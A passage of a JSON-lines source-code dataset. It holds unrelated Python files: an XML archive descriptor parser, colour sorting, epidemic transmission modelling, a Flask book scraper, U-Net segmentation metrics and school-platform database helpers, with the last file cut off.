self.cv_score\n\nra_val = RocAucEvaluation(file_path, validation_data=(X_val, y_val), interval=1)\nkfold_cv_score += ra_val.cv_score.item()\nprint(\"kfold_cv_score: {}\".format(kfold_cv_score))\n","repo_name":"senkin13/kaggle","sub_path":"toxic/kfold.py","file_name":"kfold.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"61"} +{"seq_id":"22600491261","text":"from lxml import etree\nfrom .drs_file import DrsFile\nimport logging\n\nclass DrsDescriptor():\n \n NSMAP = {\n \"mets\" : \"{http://www.loc.gov/METS/}\",\n \"hulDrsAdmin\" : \"{http://hul.harvard.edu/ois/xml/ns/hulDrsAdmin}\",\n \"premis\" : \"{info:lc/xmlns/premis-v2}\",\n \"xsi\" : \"{http://www.w3.org/2001/XMLSchema-instance}\",\n }\n \n def __init__(self, descriptor_file):\n self.files = {}\n self.root = etree.parse(descriptor_file).getroot()\n self._parse()\n\n def __repr__(self) -> str:\n out = \"\"\n if len(self.files) > 0:\n for f in self.files:\n out += f'{f}\\n'\n else:\n out += 'No files found\\n'\n\n if len(self.amds) > 0:\n for amd in self.amds:\n out += f'{amd}\\n'\n else: \n out += 'No AMDs found\\n'\n\n return out\n\n\n def _parse(self):\n # Collect METS:files and their corresponding METS:AmdSecs\n file_grps = self.root.findall('.//{}fileGrp'.format(self.NSMAP['mets']))\n grps = {}\n for file_grp in file_grps:\n file_grp_id = file_grp.get('ID')\n grp = {file_grp_id: {}}\n\n files = file_grp.findall('{}file'.format(self.NSMAP['mets']))\n for file in files:\n file_id = file.get('ID')\n file_amd_ids = file.get('ADMID') \n grp[file_grp_id][file_id] = file_amd_ids\n\n grps.update(grp)\n \n # Associate METS:files with DRS:files\n for grp in grps.values():\n for file_id, amd_ids in grp.items():\n drs_file = self._create_drs_file(amd_ids)\n self.files[drs_file.get_id()] = drs_file\n\n \n def _create_drs_file(self, amd_ids):\n \"\"\"\n Given a list of amd_ids, create a DRS file object.\n \"\"\"\n drs_file = DrsFile()\n amd_secs = self.root.findall(\".//{}amdSec\".format(self.NSMAP['mets']))\n\n for amd_id in amd_ids.split():\n\n amd_premis_file = self._amdSec_premis_file(amd_secs, amd_id)\n if amd_premis_file is not None:\n drs_file.set_id(amd_premis_file.find('.//{}objectIdentifierValue'.format(self.NSMAP['premis'])).text)\n continue\n\n amd_drs_file = self._amdSec_drs_file(amd_secs, amd_id)\n if amd_drs_file is not None:\n drs_file.set_file_name(amd_drs_file.find('.//{}suppliedFilename'.format(self.NSMAP['hulDrsAdmin'])).text)\n drs_file.set_file_dir(amd_drs_file.find('.//{}suppliedDirectory'.format(self.NSMAP['hulDrsAdmin'])).text)\n continue\n\n return drs_file \n\n \n def _amdSec_premis_file(self, amd_secs, amd_id): \n for amd_sec in amd_secs:\n if amd_sec.get('ID') == amd_id:\n premis_obj = amd_sec.find('.//{}object'.format(self.NSMAP['premis']))\n if premis_obj is not None and premis_obj.get('{}type'.format(self.NSMAP['xsi'])) == 'premis:file':\n return premis_obj\n return None\n \n \n def _amdSec_drs_file(self, amd_secs, amd_id):\n for amd_sec in amd_secs:\n if amd_sec.get('ID') == amd_id:\n amd_drs_file = amd_sec.find('.//{}drsFile'.format(self.NSMAP['hulDrsAdmin']))\n if amd_drs_file is not None:\n return amd_drs_file\n return None \n \n\n def _amdSec_premis_representation(self, amd_secs, amd_id): \n for amd_sec in amd_secs:\n if amd_sec.get('ID') == amd_id:\n premis_obj = amd_sec.find('.//{}object'.format(self.NSMAP['premis']))\n if premis_obj is not None and premis_obj.get('{}type'.format(self.NSMAP['xsi'])) == 'premis:representation':\n return premis_obj\n return None\n \n\n def get_batch_name(self):\n mets_hdr = self.root.find(\"{}metsHdr\".format(self.NSMAP['mets']))\n mets_hdr_amd_ids = mets_hdr.get('ADMID') \n amd_secs = self.root.findall(\".//{}amdSec\".format(self.NSMAP['mets']))\n\n for amd_id in mets_hdr_amd_ids.split():\n amd_premis_representation = self._amdSec_premis_representation(amd_secs, amd_id)\n if amd_premis_representation is not None:\n return amd_premis_representation.find('.//{}originalName'.format(self.NSMAP['premis'])).text\n\n\n def get_files(self):\n return self.files\n\n\n","repo_name":"harvard-lts/ocfl_rehydration","sub_path":"src/ocfl_rehydration/drs_descriptor.py","file_name":"drs_descriptor.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22022345573","text":"#!/usr/bin/env python3\n\n\"\"\"\nThe start of something cool.\n\"\"\"\n\nimport logging\nimport math\nfrom typing import Optional, Tuple\n\nfrom pyutils import ansi, bootstrap, config\n\nlogger = logging.getLogger(__name__)\nargs = config.add_commandline_args(f'({__file__})', f'Args related to {__file__}')\n\n\ndef rgb_to_hsv(rgb: Tuple[int, int, int]) -> Tuple[int, int, int]:\n r = rgb[0] / 255.0\n g = rgb[1] / 255.0\n b = rgb[2] / 255.0\n\n cmax = max(r, g, b)\n cmin = min(r, g, b)\n diff = cmax - cmin\n h = -1\n s = -1\n\n if cmax == cmin:\n h = 0\n elif cmax == r:\n h = math.fmod(60 * ((g - b) / diff) + 360, 360)\n elif cmax == g:\n h = math.fmod(60 * ((b - r) / diff) + 120, 360)\n elif cmax == b:\n h = math.fmod(60 * ((r - g) / diff) + 240, 360)\n\n if cmax == 0:\n s = 0\n else:\n s = (diff / cmax) * 100.0\n\n v = cmax * 100.0\n return (h, s, v)\n\n\ndef step(code, repetitions=1):\n r = code[0]\n g = code[1]\n b = code[2]\n lum = math.sqrt(0.241 * r + 0.691 * g + 0.068 * b)\n h, s, v = rgb_to_hsv(code)\n h2 = int(h * repetitions)\n lum2 = int(lum * repetitions)\n v2 = int(v * repetitions)\n if h2 % 2 == 1:\n v2 = repetitions - v2\n lum = repetitions - lum\n return (-h2, lum, v2)\n\n\ndef sort_value(code: Tuple[int, int, int]) -> int:\n lum = math.sqrt(0.241 * code[0] + 0.691 * code[1] + 0.068 * code[2])\n hsv = rgb_to_hsv(code)\n return lum * hsv[0] * hsv[1]\n\n\n@bootstrap.initialize\ndef main() -> Optional[int]:\n colors = {}\n colors_to_code = {}\n for name, code in ansi.COLOR_NAMES_TO_RGB.items():\n colors_to_code[name] = code\n colors[name] = step(code, 8)\n\n print(' ')\n for n, name in enumerate(\n {k: v for k, v in sorted(colors.items(), key=lambda i: i[1])}\n ):\n if n % 4 == 0:\n print(' ')\n code = colors_to_code[name]\n contrast = ansi.pick_contrasting_color(None, code[0], code[1], code[2])\n code = code[0] << 16 | code[1] << 8 | code[2]\n code = f'{code:06X}'\n contrast = contrast[0] << 16 | contrast[1] << 8 | contrast[2]\n contrast = f'{contrast:06X}'\n\n print(\n f\" \"\n )\n return None\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"scottgasch/pyutils","sub_path":"docs/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"71792996034","text":"import torch\nimport yaml\n\nfrom grad_june.paths import default_config_path\nfrom grad_june.utils import parse_distribution\n\n\nclass TransmissionSampler:\n def __init__(self, max_infectiousness, shape, rate, shift):\n self.max_infectiousness = max_infectiousness\n self.shape = shape\n self.rate = rate\n self.shift = shift\n\n def __call__(self, n):\n maxi = self.max_infectiousness.rsample((n,))\n shape = self.shape.rsample((n,))\n rate = self.rate.rsample((n,))\n shift = self.shift.rsample((n,))\n return torch.vstack((maxi, shape, rate, shift))\n\n @classmethod\n def from_file(cls, fpath=default_config_path):\n with open(fpath, \"r\") as f:\n params = yaml.safe_load(f)\n return cls.from_parameters(params)\n\n @classmethod\n def from_parameters(cls, params):\n ret = {}\n tparams = params[\"transmission\"]\n device = params[\"system\"][\"device\"]\n for key in tparams:\n ret[key] = parse_distribution(tparams[key], device=device)\n return cls(**ret)\n\n\nclass TransmissionUpdater(torch.nn.Module):\n def forward(self, data, timer):\n shape = data[\"agent\"][\"infection_parameters\"][\"shape\"]\n shift = data[\"agent\"][\"infection_parameters\"][\"shift\"]\n rate = data[\"agent\"][\"infection_parameters\"][\"rate\"]\n max_infectiousness = data[\"agent\"][\"infection_parameters\"][\"max_infectiousness\"]\n time_from_infection = timer.now - data[\"agent\"].infection_time\n sign = (torch.sign(time_from_infection - shift + 1e-10) + 1) / 2\n aux = torch.exp(-torch.lgamma(shape)) * torch.pow(\n (time_from_infection - shift) * rate, shape - 1.0\n )\n aux2 = torch.exp((shift - time_from_infection) * rate) * rate\n ret = max_infectiousness * sign * aux * aux2 * data[\"agent\"].is_infected\n return ret\n","repo_name":"arnauqb/GradABM-JUNE","sub_path":"grad_june/transmission.py","file_name":"transmission.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"74790644354","text":"from flask import Flask, render_template, send_file\nimport sqlite3\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nimport requests\n\napp = Flask(__name__)\n\n# Connecting to SQLite\nconn = sqlite3.connect('books.db', check_same_thread=False)\n\n# Delete table if exists\nconn.execute('''DROP TABLE IF EXISTS books;''')\n# Create table\nconn.execute('''CREATE TABLE books(title TEXT, url TEXT);''')\n\n# Web Scraping\nurl = 'https://books.toscrape.com/'\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n\n# Extracting title and url\nfor article in soup.find_all('article'):\n title = article.h3.a.attrs['title']\n url = article.h3.a.attrs['href']\n # Inserting into SQLite\n conn.execute(\"INSERT INTO books (title, url) VALUES (?, ?)\", (title, url))\n conn.commit()\n\nbooks_df = pd.read_sql_query(\"SELECT * FROM books\", conn)\nbooks_df.to_csv(\"books.csv\", index=False)\nbooks_df.to_xml(\"books.xml\", index=False)\n\n# Route to display data\n\n\n@app.route('/')\ndef index():\n cursor = conn.execute(\"SELECT title, url from books\")\n books = cursor.fetchall()\n return render_template('index.html', books=books)\n\n\n@app.route('/download/')\ndef download(file_name):\n return send_file(file_name, as_attachment=True)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"DSMaverick/webcrawler","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30485505219","text":"import tensorflow as tf\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.callbacks import ModelCheckpoint,EarlyStopping\nfrom keras.preprocessing.image import ImageDataGenerator\nimport keras.backend as K\nimport numpy as np\nfrom sklearn import metrics\nimport random\n\n\ndef test_train_split(X, training_set_ratio=0.8):\n '''\n Splits given data into training and test sets\n\n ----------\n X : the data array\n training_set_ratio : ratio of training dataset. Default is 0.8, i.e. 80%\n\n Returns\n -------\n x_test : test data\n x_train : training data\n\n '''\n random.shuffle(X)\n cutoff = int(len(X) * training_set_ratio)\n x_test = X[cutoff: ]\n x_train = X[: cutoff]\n return x_test, x_train\n\n\ndef confusion_matrix(y_true, y_pred):\n '''\n Confusion matrix is a table of True-negatives, False-positives, False-negatives, and True-positives specifically in this order\n '''\n #conf_matrix = tf.math.confusion_matrix(labels=y_test, predictions=predictions)\n tn, fp, fn, tp = metrics.confusion_matrix(y_true, np.rint(y_pred)).ravel()\n return tn, fp, fn, tp\n\n\ndef dice_coef(y_true, y_pred):\n '''\n Dice coefficient determines the ratio of overlapping area between prediction and ground truth to the sum of total area\n '''\n y_true_f = K.flatten(y_true)\n y_pred_f = K.flatten(y_pred)\n intersection = K.sum(y_true_f * y_pred_f)\n return (2. * intersection + K.epsilon()) / (K.sum(y_true_f) + K.sum(y_pred_f) + K.epsilon())\n\n\ndef recall_m(y_true, y_pred):\n '''\n Recall or Sensitivity is positive identification rate, i.e. of all positives, how many were identified\n '''\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n possible_positives = K.sum(K.round(K.clip(y_true, 0, 1)))\n recall = true_positives / (possible_positives + K.epsilon())\n return recall\n\n\ndef precision_m(y_true, y_pred):\n '''\n Precision is positive prediction value, i.e. how many positives are truly positive\n '''\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n predicted_positives = K.sum(K.round(K.clip(y_pred, 0, 1)))\n precision = true_positives / (predicted_positives + K.epsilon())\n return precision\n\n\ndef specificity_m(y_true, y_pred):\n '''\n Speecificity is negative prediction value, i.e. how many negatives are truly negative\n '''\n #TODO: complete this\n pass\n\n\ndef f1_m(y_true, y_pred):\n '''\n F1 measure is harmonic mean between precision and recall\n '''\n precision = precision_m(y_true, y_pred)\n recall = recall_m(y_true, y_pred)\n return 2*((precision*recall)/(precision+recall+K.epsilon()))\n\n\ndef IOU(y_true, y_pred):\n '''\n Intersection over Union of a bounded box\n '''\n D = dice_coef(y_true, y_pred)\n IOU = (D) / (2-D)\n return IOU\n\n\ndef data_generator(x_train, y_train, batch_size):\n \"\"\"\n Implement data augmentation\n ----------\n x_train : numpy array of raw images\n y_train : numpy array of mask images\n batch_size : integer value that specifies batch size \n \n Returns\n -------\n x_batch, y_bathc : Image Generators\n \n \"\"\"\n data_gen_args = dict(width_shift_range = 0.1,\n height_shift_range = 0.1,\n rotation_range = 10,\n zoom_range = 0.1)\n \n image_generator = ImageDataGenerator(**data_gen_args).flow(x_train, x_train, batch_size, seed = 42)\n mask_generator = ImageDataGenerator(**data_gen_args).flow(y_train, y_train, batch_size, seed = 42)\n while True:\n x_batch, _ = image_generator.next()\n y_batch, _ = mask_generator.next()\n yield x_batch, y_batch\n\n\ndef model_builder(x_train, x_val, y_train, y_val, height, width, channels):\n \"\"\"\n Function to build and train the UNet model\n \n Parameters\n ----------\n x_train : numpy array of training images\n y_train : numpy array of training masks\n x_val : numpy array of validation images\n y_val : numpy array of validation masks\n \n Returns\n -------\n model : Trained model\n results : Dictionary of model metrics\n \n \"\"\"\n print ('Building U-Net...')\n inputs = tf.keras.layers.Input((height, width, channels))\n s = tf.keras.layers.Lambda(lambda x: x)(inputs)\n\n conv1 = tf.keras.layers.Conv2D(16, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(s)\n conv1 = tf.keras.layers.Dropout(0.1)(conv1)\n conv1 = tf.keras.layers.Conv2D(16, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(conv1)\n pool1 = tf.keras.layers.MaxPooling2D((2, 2))(conv1)\n\n conv2 = tf.keras.layers.Conv2D(32, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(pool1)\n conv2 = tf.keras.layers.Dropout(0.1)(conv2)\n conv2 = tf.keras.layers.Conv2D(32, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(conv2)\n pool2 = tf.keras.layers.MaxPooling2D((2, 2))(conv2)\n\n conv3 = tf.keras.layers.Conv2D(64, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(pool2)\n conv3 = tf.keras.layers.Dropout(0.2)(conv3)\n conv3 = tf.keras.layers.Conv2D(64, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(conv3)\n pool3 = tf.keras.layers.MaxPooling2D((2, 2))(conv3)\n\n conv4 = tf.keras.layers.Conv2D(128, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(pool3)\n conv4 = tf.keras.layers.Dropout(0.2)(conv4)\n conv4 = tf.keras.layers.Conv2D(128, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(conv4)\n pool4 = tf.keras.layers.MaxPooling2D(pool_size=(2, 2))(conv4)\n\n conv5 = tf.keras.layers.Conv2D(256, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(pool4)\n conv5 = tf.keras.layers.Dropout(0.3)(conv5)\n conv5 = tf.keras.layers.Conv2D(256, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(conv5)\n\n upconv6 = tf.keras.layers.Conv2DTranspose(128, (2, 2), strides=(2, 2), padding='same')(conv5)\n upconv6 = tf.keras.layers.concatenate([upconv6, conv4])\n conv6 = tf.keras.layers.Conv2D(128, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(upconv6)\n conv6 = tf.keras.layers.Dropout(0.2)(conv6)\n conv6 = tf.keras.layers.Conv2D(128, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(conv6)\n\n upconv7 = tf.keras.layers.Conv2DTranspose(64, (2, 2), strides=(2, 2), padding='same')(conv6)\n upconv7 = tf.keras.layers.concatenate([upconv7, conv3])\n conv7 = tf.keras.layers.Conv2D(64, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(upconv7)\n conv7 = tf.keras.layers.Dropout(0.2)(conv7)\n conv7 = tf.keras.layers.Conv2D(64, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(conv7)\n\n upconv8 = tf.keras.layers.Conv2DTranspose(32, (2, 2), strides=(2, 2), padding='same')(conv7)\n upconv8 = tf.keras.layers.concatenate([upconv8, conv2])\n conv8 = tf.keras.layers.Conv2D(32, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(upconv8)\n conv8 = tf.keras.layers.Dropout(0.1)(conv8)\n conv8 = tf.keras.layers.Conv2D(32, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(conv8)\n\n upconv9 = tf.keras.layers.Conv2DTranspose(16, (2, 2), strides=(2, 2), padding='same')(conv8)\n upconv9 = tf.keras.layers.concatenate([upconv9, conv1], axis=3)\n conv9 = tf.keras.layers.Conv2D(16, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(upconv9)\n conv9 = tf.keras.layers.Dropout(0.1)(conv9)\n conv9 = tf.keras.layers.Conv2D(16, (3, 3), activation=tf.keras.activations.elu, kernel_initializer='he_normal', padding='same')(conv9)\n \n # den = tf.keras.layers.Dense(8, activation=tf.keras.activations.elu, kernel_initializer='he_normal')(conv9)\n # outputs = tf.keras.layers.Dense(8, activation=tf.keras.activations.elu, kernel_initializer='he_normal')(conv9)\n outputs = tf.keras.layers.Conv2D(5, (1, 1), activation='sigmoid')(conv9)\n\n model = tf.keras.Model(inputs=[inputs], outputs=[outputs])\n model.compile(optimizer='adam', loss='binary_crossentropy', metrics=[dice_coef, recall_m, precision_m, f1_m, IOU, 'accuracy'])\n model.summary()\n callbacks = [EarlyStopping(patience=6, monitor='val_loss')]\n \n results = model.fit_generator(data_generator(x_train, y_train, 8),\n steps_per_epoch = 300,\n validation_data = (x_val,y_val),\n epochs=1, callbacks=callbacks)\n \n model.save(\"/content/drive/MyDrive/Dental/model_4_Depth_1_Base_40_Images.h5\")\n return model, results\n","repo_name":"esquaredsystems/opg-classification-lesion-detection","sub_path":"evaluation_util.py","file_name":"evaluation_util.py","file_ext":"py","file_size_in_byte":9027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41309443889","text":"from __future__ import annotations\n\nimport json\n\nimport schoolopy\nfrom flask import session\nfrom mongoengine import Q\n\nfrom app.static.python.classes import *\nfrom app.static.python.utils.security import valid_password\n\nregex = r\"\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Z|a-z]{2,}\\b\"\n\ndictionary = None\n\n\ndef getText(query):\n global dictionary\n if not dictionary:\n with open(\"app/static/python/dictionary.json\") as dictFile:\n dictionary = json.loads(dictFile.read())\n\n try:\n return dictionary[query][session.get(\"global\", \"us\")]\n except KeyError:\n return query\n\n\ndef getAssignment(assignment_id: str) -> Assignment:\n assignment = Assignment.objects(id=assignment_id).first()\n return assignment\n\n\ndef getNebulusDocument(document_id: str) -> NebulusDocument:\n document = NebulusDocument.objects(id=document_id).first()\n return document\n\n\ndef getEvent(event_id: str) -> Event:\n event = Event.objects(pk=event_id).first()\n return event\n\n\ndef getGrades(grades_id: str) -> Grades:\n grades = Grades.objects(pk=grades_id).first()\n return grades\n\n\ndef getDocumentFile(document_file_id: str) -> DocumentFile:\n document_file = DocumentFile.objects(pk=document_file_id).first()\n return document_file\n\n\ndef getFolder(folder_id: str) -> Folder:\n folder = Folder.objects(pk=folder_id).first()\n return folder\n\n\ndef get_user_courses(user_id: str) -> list[Course]:\n user = find_user(pk=user_id)\n return Course.objects(authorizedUsers=user)\n\n\ndef get_user_docs(user_id: str) -> list[NebulusDocument]:\n user = find_user(pk=user_id)\n return NebulusDocument.objects(authorizedUsers=user)\n\n\ndef search_user(query: str, ignore_id: str = None) -> list[User]:\n if ignore_id:\n return User.objects(username__istartswith=query, id__ne=ignore_id).only(\n \"id\", \"username\", \"email\", \"avatar\", \"_cls\"\n )[:10]\n else:\n return User.objects(username__istartswith=query).only(\n \"id\", \"username\", \"email\", \"avatar\", \"_cls\"\n )[:10]\n # return User.objects.filter(username__contains=query)._query\n\n\ndef search_within_course(query: str, course_id: str):\n assignments = Assignment.objects(course_id=course_id, title__contains=query)\n events = Event.objects(course_id=course_id, title__contains=query)\n document_file = DocumentFile.objects(course_id=course_id, title__contains=query)\n\n\ndef find_courses(_id: str):\n course = Course.objects(pk=_id)\n if not course:\n raise KeyError(\"Course not found\")\n return course[0]\n\n\ndef find_user(**kwargs) -> User | None:\n data = {k: v for k, v in kwargs.items() if v is not None}\n user = User.objects(**data).first()\n if not user:\n raise KeyError(\"User not found\")\n\n return user\n\n\ndef find_folder(**kwargs) -> Folder | None:\n folder = Folder.objects(**kwargs).first()\n if not folder:\n print(folder)\n raise KeyError(\"Folder not found\")\n return folder\n\n\ndef find_document(**kwargs) -> Document | None:\n document = DocumentFile.objects(**kwargs).first()\n if not document:\n print(document)\n raise KeyError(\"User not found\")\n return document\n\n\ndef getSchoology(**kwargs) -> list[Schoology] | None:\n try:\n return find_user(**kwargs).schoology\n except KeyError:\n return\n\n\ndef getClassroom(\n userID: str = None, username: str = None, email: str = None\n) -> GoogleClassroom:\n return find_user(id=userID, username=username, email=email).gclassroom\n\n\ndef getSpotify(userID: str = None, username: str = None, email: str = None) -> Spotify:\n return find_user(id=userID, username=username, email=email).spotify\n\n\ndef getSpotifyCache(\n userID: str = None, username: str = None, email: str = None\n) -> Spotify | None:\n try:\n return find_user(\n id=userID, username=username, email=email\n ).spotify.Spotify_cache\n except:\n return None\n\n\ndef checkSchoology(_id: int):\n user = find_user(id=_id)\n return str(user and user.schoology).lower()\n\n\ndef check_type(o):\n try:\n a = find_folder(**o)\n if a is None:\n return \"document\"\n else:\n return \"folder\"\n except:\n return \"document\"\n\n\ndef check_signin(email, password):\n try:\n user = find_user(email=email)\n except KeyError:\n return False\n\n return valid_password(user.password, password)\n\n\ndef get_announcement(announcement_id: str) -> Announcement:\n announcement = Announcement.objects(pk=announcement_id).first()\n return announcement\n\n\ndef get_folders(parent_id: int = None, course_id: int = None) -> list[Folder]:\n if not parent_id and not course_id:\n raise ValueError(\"Must provide either parent_id or course_id\")\n\n if course_id:\n return find_courses(course_id).folders\n else:\n return find_folder(id=parent_id).subfolders\n\n\ndef sortByDate(obj):\n return obj.date.date() if obj._cls == \"Event\" else obj.due.date()\n\n\ndef sortByDateTime(obj):\n return obj.date if obj._cls == \"Event\" else obj.due\n\n\ndef sort_course_events(user_id: str, course_id: int):\n courses = get_user_courses(user_id)\n course = None\n for i in courses:\n if str(i.id) == str(course_id):\n course = i\n break\n courses = [course]\n\n events = Event.objects(course__in=courses)\n announcements = Announcement.objects(course__in=courses)\n assignments = Assignment.objects(course__in=courses)\n assessments = Assessment.objects(course__in=courses)\n from itertools import chain, groupby\n\n events_assessments_assignments = list(chain(events, assignments, assessments))\n sorted_events = sorted(\n events_assessments_assignments, key=lambda obj: sortByDateTime(obj)\n )\n dates = dict(\n {\n key: list(result)\n for key, result in groupby(\n sorted_events, key=lambda obj: sortByDateTime(obj)\n )\n }\n )\n\n sorted_announcements = sorted(announcements, key=lambda obj: obj.date)\n announcements = dict(\n reversed(\n list(\n {\n key: list(result)\n for key, result in groupby(\n sorted_announcements, key=lambda obj: obj.date.date()\n )\n }.items()\n )\n )\n )\n\n return [announcements, dates]\n\n\ndef sort_user_events(user_id: str, maxDays=5, maxEvents=16):\n courses = get_user_courses(user_id)\n events = Event.objects(course__in=courses)\n announcements = Announcement.objects(course__in=courses)\n assignments = Assignment.objects(course__in=courses)\n assessments = Assessment.objects(course__in=courses)\n from itertools import chain, groupby\n\n events_assessments_assignments = list(chain(events, assignments, assessments))\n sorted_events = reversed(\n sorted(\n events_assessments_assignments[:maxEvents],\n key=lambda obj: sortByDateTime(obj),\n )\n )\n\n dates = dict(\n {\n key: list(result)\n for key, result in groupby(\n sorted_events, key=lambda obj: sortByDateTime(obj)\n )\n }\n )\n\n sorted_announcements = sorted(announcements, key=lambda obj: obj.date)\n announcements = dict(\n reversed(\n list(\n {\n key: list(result)\n for key, result in groupby(\n sorted_announcements, key=lambda obj: obj.date.date()\n )\n }.items()\n )[-maxDays:]\n )\n )\n\n return [announcements, dates]\n\n # events_assessments_assignments = events | assignments | assessments\n\n\ndef unsorted_user_events(user_id: str) -> list[list]:\n courses = get_user_courses(user_id)\n events = Event.objects(course__in=courses)\n announcements = Announcement.objects(course__in=courses)\n assignments = Assignment.objects(course__in=courses)\n assessments = Assessment.objects(course__in=courses)\n from itertools import chain\n\n events_assessments_assignments = list(chain(events, assignments, assessments))\n announcements = list(reversed(announcements))\n return [\n announcements,\n sorted(events_assessments_assignments, key=lambda obj: sortByDateTime(obj)),\n ]\n\n\ndef getSchoologyAuth(user_id) -> schoolopy.Schoology | None:\n schoology = getSchoology(id=user_id)\n if not schoology:\n return\n\n schoology = schoology[0]\n request_token = schoology.Schoology_request_token\n request_token_secret = schoology.Schoology_request_secret\n access_token = schoology.Schoology_access_token\n access_token_secret = schoology.Schoology_access_secret\n link = schoology.schoologyDomain\n key = schoology.apikey\n secret = schoology.apisecret\n auth = schoolopy.Auth(\n key,\n secret,\n domain=link,\n three_legged=True,\n request_token=request_token,\n request_token_secret=request_token_secret,\n access_token=access_token,\n access_token_secret=access_token_secret,\n )\n auth.authorize()\n sc = schoolopy.Schoology(auth)\n sc.limit = 5\n\n return sc\n\n\ndef check_signup_user(username) -> str:\n if User.objects(username=username):\n return \"false\"\n return \"true\"\n\n\ndef check_signup_email(email) -> str:\n if User.objects(email=email):\n return \"false\"\n return \"true\"\n\n\ndef check_duplicate_schoology(schoology_email) -> str:\n if User.objects(schoology__schoologyEmail=schoology_email):\n return \"true\"\n return \"false\"\n\n\ndef getChat(chat_id: str):\n chat = Chat.objects.get(pk=chat_id)\n if not chat:\n raise KeyError(\"Invalid Chat ID\")\n\n return chat\n\n\ndef getPlanner(user_id: str):\n planner = find_user(id=user_id).planner\n if not planner:\n return {}\n\n return {\n \"name\": planner.name,\n \"saveData\": planner.saveData,\n \"periods\": planner.periods,\n \"lastEdited\": planner.lastEdited,\n }\n\n\ndef getDocument(document_id: str): # Nebulus Document\n doc = NebulusDocument.objects(pk=document_id)\n if not doc:\n raise KeyError(\"Invalid Document ID\")\n return doc\n\n\ndef search(keyword: str, username: str):\n user = User.objects(username=username).first()\n users = search_user(keyword)\n pipeline1 = [\n {\"$match\": {\"title\": {\"$regex\": f\"^{keyword}\", \"$options\": \"i\"}}},\n {\n \"$lookup\": {\n \"from\": Course._get_collection_name(),\n \"localField\": \"course\",\n \"foreignField\": \"_id\",\n \"as\": \"course\",\n }\n },\n {\"$match\": {\"course.authorizedUsers\": user.pk}},\n {\"$project\": {\"title\": 1, \"_id\": 1, \"_cls\": 1}},\n ]\n courses = Course.objects(Q(authorizedUsers=user.id) & Q(name__istartswith=keyword))[\n :10\n ]\n chats = Chat.objects(Q(owner=user.id) & Q(title__istartswith=keyword))[:10]\n NebulusDocuments = NebulusDocument.objects(\n Q(authorizedUsers=user.id) & Q(title__istartswith=keyword)\n )[:10]\n\n events = list(Event.objects().aggregate(pipeline1))\n assignments = list(Assignment.objects().aggregate(pipeline1))\n announcements = list(Announcement.objects().aggregate(pipeline1))\n documents = list(DocumentFile.objects.aggregate(pipeline1))\n return (\n courses,\n documents,\n chats,\n events,\n assignments,\n announcements,\n NebulusDocuments,\n users,\n )\n\n\ndef search_course(keyword: str, course: str):\n course = Course.objects(id=course).first()\n pipeline1 = [\n {\"$match\": {\"title\": {\"$regex\": f\"^{keyword}\", \"$options\": \"i\"}}},\n {\n \"$lookup\": {\n \"from\": Course._get_collection_name(),\n \"localField\": \"course\",\n \"foreignField\": \"_id\",\n \"as\": \"course\",\n }\n },\n {\"$match\": {\"course.id\": course}},\n {\"$project\": {\"title\": 1, \"_id\": 1, \"_cls\": 1}},\n ]\n\n events = list(Event.objects().aggregate(pipeline1))\n assignments = list(Assignment.objects().aggregate(pipeline1))\n announcements = list(Announcement.objects().aggregate(pipeline1))\n documents = list(DocumentFile.objects.aggregate(pipeline1))\n return (\n documents,\n events,\n assignments,\n announcements,\n # NebulusDocuments,\n )\n\n\ndef getUserChats(user_id, required_fields: list):\n chats = Chat.objects(members__user=user_id).only(*required_fields)\n return chats\n\n\ndef loadChats(user_id: str, current_index, initial_amount, required_fields):\n chats = json.loads(getUserChats(user_id, required_fields).to_json())\n\n chats = sorted(chats, key=lambda x: x[\"lastEdited\"][\"$date\"], reverse=True)\n\n if len(chats) < current_index + initial_amount:\n initial_amount = len(chats) - current_index\n\n chats = chats[current_index: (current_index + initial_amount)]\n for chat in chats:\n if len(chat[\"members\"]) == 2:\n for x, member in enumerate(chat[\"members\"]):\n chat[\"members\"][x][\"user\"] = json.loads(\n 